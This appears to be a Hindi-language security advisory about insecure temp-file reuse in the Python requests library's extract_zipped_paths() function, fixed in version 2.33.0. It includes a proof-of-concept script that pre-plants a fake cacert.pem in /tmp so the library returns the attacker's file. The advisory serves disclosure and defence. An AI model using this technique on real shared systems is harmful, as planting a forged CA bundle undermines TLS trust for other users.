
असुरक्षित टेम्प फ़ाइल पुनःउपयोग extract_zipped_paths() में
requests लाइब्रेरी (Python) के सार्वजनिक उपयोगिता फ़ंक्शन requests.utils.extract_zipped_paths() में एक भेद्यता की पहचान की गई थी। यह फ़ंक्शन सिस्टम की अस्थायी निर्देशिका (/tmp) में फ़ाइलें निकालने का प्रयास करते समय एक अनुमानित, गैर-अद्वितीय फ़ाइलनाम का उपयोग करता है और पहले से मौजूद फ़ाइलों की अखंडता या स्वामित्व की जाँच करने में विफल रहता है।
हालाँकि certifi के साथ requests का डिफ़ॉल्ट व्यवहार importlib.resources द्वारा शमित किया जाता है, यह उपयोगिता डाउनस्ट्रीम अनुप्रयोगों या कस्टम कार्यान्वयनों के लिए एक सुरक्षा खतरा बनी हुई है जो ज़िपित संसाधनों को संभालने के लिए इस पर निर्भर करते हैं।
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:Nफ़ंक्शन requests.utils.extract_zipped_paths() को एक ज़िप संग्रह से सदस्यों को निकालने के लिए डिज़ाइन किया गया है (अक्सर zipapp वातावरण में CA बंडलों के लिए उपयोग किया जाता है)। भेद्य तर्क इन चरणों का पालन करता है:
basename के साथ जोड़ता है (उदाहरण के लिए, /tmp/cacert.pem)।if not os.path.exists(extracted_path) का उपयोग करता है कि फ़ाइल निकालनी है या नहीं।requests/utils.py में, तर्क निम्नानुसार कार्यान्वित किया गया है:
# Path derivation using predictable basename
extracted_path = os.path.join(tmp, member.split("/")[-1])
# Insecure reuse of existing file
if not os.path.exists(extracted_path):
# Extraction logic only triggers if file is missing
...
# Returns path to potentially attacker-controlled file
return extracted_path
कम विशेषाधिकारों वाला एक स्थानीय हमलावर /tmp में अनुमानित पथ पर एक दुर्भावनापूर्ण फ़ाइल (उदाहरण के लिए, एक जाली CA बंडल) पहले से बनाकर इसका शोषण कर सकता है। जब एक पीड़ित (उपयोगकर्ता इंटरैक्शन आवश्यक) एक ऐसा अनुप्रयोग चलाता है जो इस उपयोगिता को आमंत्रित करता है:
निम्नलिखित स्क्रिप्ट यह दिखाकर भेद्यता को प्रदर्शित करती है कि कैसे उपयोगिता संग्रह से वैध फ़ाइल के बजाय पहले से मौजूद "नकली" फ़ाइल का पुनःउपयोग करती है।
import os
import tempfile
import zipfile
from requests import utils
# 1. Attacker Step: Pre-create a malicious file in /tmp
TMP = tempfile.gettempdir()
fake_file_path = os.path.join(TMP, "cacert.pem")
with open(fake_file_path, "wb") as f:
f.write(b"ATTACKER_MALICIOUS_DATA")
# 2. Victim Setup: A legitimate ZIP archive
zip_path = "resources.zip"
with zipfile.ZipFile(zip_path, "w") as z:
z.writestr("certs/cacert.pem", b"REAL_LEGITIMATE_DATA")
# 3. Victim Action: Calling the vulnerable utility
zipped_member_path = f"{zip_path}/certs/cacert.pem"
resolved_path = utils.extract_zipped_paths(zipped_member_path)
# 4. Confirmation
print(f"[i] Utility returned path: {resolved_path}")
with open(resolved_path, "rb") as f:
content = f.read()
print(f"[i] Content read: {content}")
if content == b"ATTACKER_MALICIOUS_DATA":
print("[!] Vulnerability Confirmed: Insecure file reuse successful.")
यह समस्या संस्करण 2.33.0 में संबोधित की गई है। इस फिक्स में ज़िपित संसाधनों को अधिक सुरक्षित रूप से संभालने के लिए importlib.resources पर स्थानांतरित होना शामिल है, यह सुनिश्चित करते हुए कि निष्कर्षण यादृच्छिक, गैर-अनुमानित निर्देशिकाओं में होते हैं और साझा विश्व-लेखन योग्य निर्देशिकाओं में मौजूदा फ़ाइलों के पुनःउपयोग से बचा जाता है।